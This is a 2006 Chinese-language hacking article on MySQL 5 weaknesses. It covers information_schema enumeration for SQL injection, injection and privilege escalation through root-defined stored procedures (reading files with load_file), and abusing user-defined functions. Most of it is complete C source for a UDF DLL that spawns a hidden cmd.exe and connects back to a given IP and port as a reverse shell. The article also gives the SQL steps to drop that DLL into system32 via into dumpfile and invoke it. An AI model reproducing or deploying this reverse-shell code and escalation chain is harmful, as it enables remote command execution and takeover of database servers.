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Hacking in Mysql5
Author：SuperHei_[At]_ph4nt0m.org
Blog：http://superhei.blogbus.com/Team：http://www.ph4nt0m.orgData: 2006-01-29
Mysql5增加很多新的功能，開始支持：存儲過程、觸發器、視圖、信息架構視圖等新特。可以說這些都是發展的必然，但是新的東西的出來，必定也會帶來新的安全問題，如Mysql4開始支持union查詢、子查詢。這直接導致mysql注射更容易、廣泛。mysql5的新功能會給安全帶來什么新的東西呢？下面我給大家介紹下mysql5在安全方面的特點：
一、password authentication
mysql5的password()和mysql4.1一樣，采用的基于SHA1的41位hash：
mysql> select password('mypass');
+-------------------------------------------+
| password('mypass') |
+-------------------------------------------+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+-------------------------------------------+
1 row in set (0.00 sec)
在mysql4.1以前的password hashes是基于16位md5：
mysql> SELECT PASSWORD('mypass');
+--------------------+
| PASSWORD('mypass') |
+--------------------+
| 6f8c114b58f2ce9e |
+--------------------+
當使用低版本的Client連接時，回出現錯誤：Client does not support authentication protocol，為了解決這個問題，mysql5提供了一個old_password(),就相當于mysql4.1以前的的password():
mysql> select old_password('mypass');
+------------------------+
| old_password('mypass') |
+------------------------+
| 6f8c114b58f2ce9e |
+------------------------+
1 row in set (0.09 sec)
二、數據字典(information_schema)
和mssql、oracle、db2等數據庫一樣，mysql5提供了一個系統數據庫：information_schema
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| VIEWS |
| USER_PRIVILEGES |
+---------------------------------------+
16 rows in set (0.17 sec)
在這個數據庫里我們可以得到很多信息，包括當前用戶權限：
mysql> select * from information_schema.USER_PRIVILEGES;
+-----------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+-----------+---------------+----------------+--------------+
| 'KK1'@'%' | NULL | USAGE | NO |
+-----------+---------------+----------------+--------------+
1 row in set (0.02 sec)
當前用戶權限下可以訪問的數據庫，表，列名（這個在sql注射中，導致直接暴區數據庫，表列名，再也不要‘暴力’咯）：
mysql> select TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME from information_schema.STATIS
TICS;
+--------------+------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+------------+-------------+
| in | article | articleid |
| in | user | userid |
+--------------+------------+-------------+
2 rows in set (0.02 sec)
還可以得到當前用戶權限下的VIEWS，ROUTINES等，關于ROUTINES我們在下面的‘存儲過程’里詳細介紹。
[ps:注意是‘當前用戶權限’如果是root，那么太可以得到所有的數據庫名稱以及表列名等等]
三、存儲過程(Stored Procedures)
'存儲過程'的使用是mysql5的一個閃光點，在帶來方便的同時，它也帶來了新的安全隱患：如sql注射，用戶權限提升等等。
D:\mysql5\bin>mysql -uroot -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 4 to server version: 5.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> use in
Database changed
mysql> delimiter //
mysql> CREATE PROCEDURE test(id INT)
-> BEGIN
-> SELECT * FROM in.USER WHERE USERID=ID;
-> END//
Query OK, 0 rows affected (0.08 sec)
mysql> delimiter ;
mysql> call test(1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
上面我們使用root在數據庫in里創建了一個名為test的存儲過程。
a、SQL Injection
mysql> call test(1 and 1=1);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call test(1 and 1=2);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
b、跨權限
存儲過程是繼承創建者的權限的，如果存儲過程是root創建的，當其他普通用戶使用這個存儲過程時，導致跨權限攻擊：
mysql> grant SELECT, INSERT, UPDATE, DELETE, EXECUTE
-> ON `IN`.*
-> TO 'KK1'@'%'
-> IDENTIFIED BY 'OBSCURE';
Query OK, 0 rows affected (0.03 sec)
上面建立一個KK1的用戶只在數據庫in中有SELECT, INSERT, UPDATE, DELETE, EXECUTE權限，使用KK1登陸：
D:\mysql5\bin>mysql -uKK1 -p
Enter password: ******
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5 to server version: 5.0.18
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> select ROUTINE_SCHEMA,ROUTINE_NAME,DEFINER,ROUTINE_DEFINITION from inform
ation_schema.ROUTINES;
+----------------+--------------+----------------+--------------------+
| ROUTINE_SCHEMA | ROUTINE_NAME | DEFINER | ROUTINE_DEFINITION |
+----------------+--------------+----------------+--------------------+
| in | test | root@localhost | |
| in | tt | root@localhost | |
+----------------+--------------+----------------+--------------------+
2 rows in set (0.01 sec)
我們可以得到KK1可以使用存儲過程in.test 其創建者為root@localhost。不過KK1沒有權限得到ROUTINE_DEFINITION 就是in.test的代碼。下面看看跨權限：
mysql> call in.test(1 and length(load_file('c:/boot.ini'))>0);
+--------+----------+----------+
| userid | username | password |
+--------+----------+----------+
| 1 | angel | mypass |
+--------+----------+----------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.01 sec)
mysql> call in.test(1 and length(load_file('c:/boot.ini'))<0);
Empty set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
沒有file權限的KK1可以使用in.test使用load_file()，我們還可以直接對mysql.user進行select，如果存儲過程可以updata，insert注射，那么我們可以普通用戶直接通過注射來修改mysql.user里的數據。
四、User-Defined Function
[ps：下面都是基于win系統]
mysql5的udf在格式和安全方面做一些新的改變：
1、格式要求更加嚴格[xxx_init()初始化函數]
對于沒有xxx_init()初始化函數 在以前的版本是可以使用的，但是在mysql5下會出現Can't find function 'xxx_init' in library的錯誤，如：
mysql> create function ExitProcess returns integer soname 'kernel32';
ERROR 1127 (HY000): Can't find function 'ExitProcess_init' in library
下面給出的代碼是好友云舒寫的，符合mysql5的udf格式要求可以在mysql5下使用：
/*******************************************************************************
* File: MySQL_Shell.cpp
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*******************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#define MAKE_DLL /* Build dll here */
#include "MySQL_Shell.h"
#pragma comment( lib, "ws2_32" )
#define BUFFER_SIZE 1024
///////////////////////////////////////////////////////////////////////////////
//函數原型
///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *, char * );
void LogMsg( char * );
///////////////////////////////////////////////////////////////////////////////
//MySQL模塊初始化函數
///////////////////////////////////////////////////////////////////////////////
LIB my_bool shell_init( UDF_INIT *init, UDF_ARGS *args, char *message )
{
if ( args->arg_count != 2 )
{
strcpy( message, "Shell() requires two arguments" );
return 1;
}
if ( (args->arg_type[0] != STRING_RESULT) || (args->arg_type[1] != STRING_RESULT) )
{
strcpy( message, "Shell() requires two string arguent" );
return 1;
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////
//MySQL模塊主功能函數，反向連接提供shell
///////////////////////////////////////////////////////////////////////////////
LIB int shell( UDF_INIT *init, UDF_ARGS *args, char *is_null, char *error )
{
SOCKET sock;
SOCKADDR_IN sin;
int ret;
// Create socket
sock = socket( AF_INET, SOCK_STREAM, 0 );
if ( sock == INVALID_SOCKET )
{
strcpy( error, "Create socket error" );
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons( atoi(args->args[1]) );
sin.sin_addr.s_addr = inet_addr( args->args[0] );
//connect to remote server
ret = connect( sock, (struct sockaddr *)&sin, sizeof(sin) );
if( ret == SOCKET_ERROR )
{
strcpy( error, "Connect error" );
return -1;
}
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe( &hReadPipe1, &hWritePipe1, &sa, 0 );
ret=CreatePipe( &hReadPipe2, &hWritePipe2, &sa, 0 );
STARTUPINFO si;
ZeroMemory( &si, sizeof(si) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
PROCESS_INFORMATION processInfo;
char cmdLine[] = "cmd.exe";
ZeroMemory( &processInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess(NULL, cmdLine, NULL,NULL,1,0,NULL,NULL,&si,&processInfo);
char buff[BUFFER_SIZE] = { 0 };
unsigned long bytesRead = 0;
int i = 0;
while( TRUE )
{
memset( buff, 0, BUFFER_SIZE );
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, 0, 0 );
for(i = 0; i < 5 && bytesRead == 0; i++)
{
Sleep(100);
ret = PeekNamedPipe( hReadPipe1, buff, BUFFER_SIZE, &bytesRead, NULL, NULL );
}
if( bytesRead )
{
ret = ReadFile( hReadPipe1, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
ret = send( sock, buff, bytesRead, 0 );
if( ret <= 0 ) break;
}
else
{
bytesRead = recv( sock, buff, BUFFER_SIZE, 0 );
if( bytesRead <= 0 ) break;
if( StartWith( buff , "exit" ) == TRUE ) break;
ret = WriteFile( hWritePipe2, buff, bytesRead, &bytesRead, 0 );
if( !ret ) break;
}
}
TerminateProcess( processInfo.hProcess, 0 );
CloseHandle( hReadPipe1 );
CloseHandle( hReadPipe2 );
CloseHandle( hWritePipe1 );
CloseHandle( hWritePipe2 );
closesocket( sock );
return 0;
}
///////////////////////////////////////////////////////////////////////////////
//判斷字符串是否以另一個字符串開頭
///////////////////////////////////////////////////////////////////////////////
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len ) == 0 )
{
return TRUE;
}
return FALSE;
}
///////////////////////////////////////////////////////////////////////////////
//記錄日志信息，調試用
///////////////////////////////////////////////////////////////////////////////
void LogMsg( char *msg )
{
FILE *fp;
fp = fopen( "C:\mysql.txt", "a+" );
fputs( msg, fp );
fclose( fp );
}
/*******************************************************************************
* File: MySQL_Shell.h
* Author: 云舒(wustyunshu at hotmail dot com)
* Date: 2005-12-12
*******************************************************************************/
#ifdef MAKE_DLL
#define LIB extern "C" __declspec(dllexport)
#else
#define LIB extern "C" __declspec(dllimport)
#endif
#define MYSQL_ERRMSG_SIZE 512 /* Max buffer size */
typedef char my_bool;
enum Item_result
{
STRING_RESULT,REAL_RESULT,INT_RESULT
};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
} UDF_ARGS;
typedef struct st_udf_init
{
my_bool maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned int max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
LIB my_bool shell_init( UDF_INIT *, UDF_ARGS *, char * );
LIB int shell( UDF_INIT *, UDF_ARGS *, char *, char * );
2、mysql5限制了udf對應的文件dll文件只可以放在system32目錄下。
對于一般低權限的系統用戶是沒有對system32目錄寫權限的，在這樣的情況下我們可以使用into dumpfile把dll文件放到system32來突破，具體如下：
mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)
mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)
mysql> select * from heige into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)
mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)
mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)
mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)
五、參考
《MySQL 5.0 Reference Manual》 http://dev.mysql.com/doc/refman/5.0/en/《Hackproofing MySQL》 http://www.ngssoftware.com/papers/HackproofingMySQL.pdf《給mysql加個自定義函數（windows平臺）》http://www.icylife.net/yunshu/show.php?id=244六、感謝
感謝云舒、TomyChen、Mix ...所有pst的兄弟們。
謝謝閱讀!
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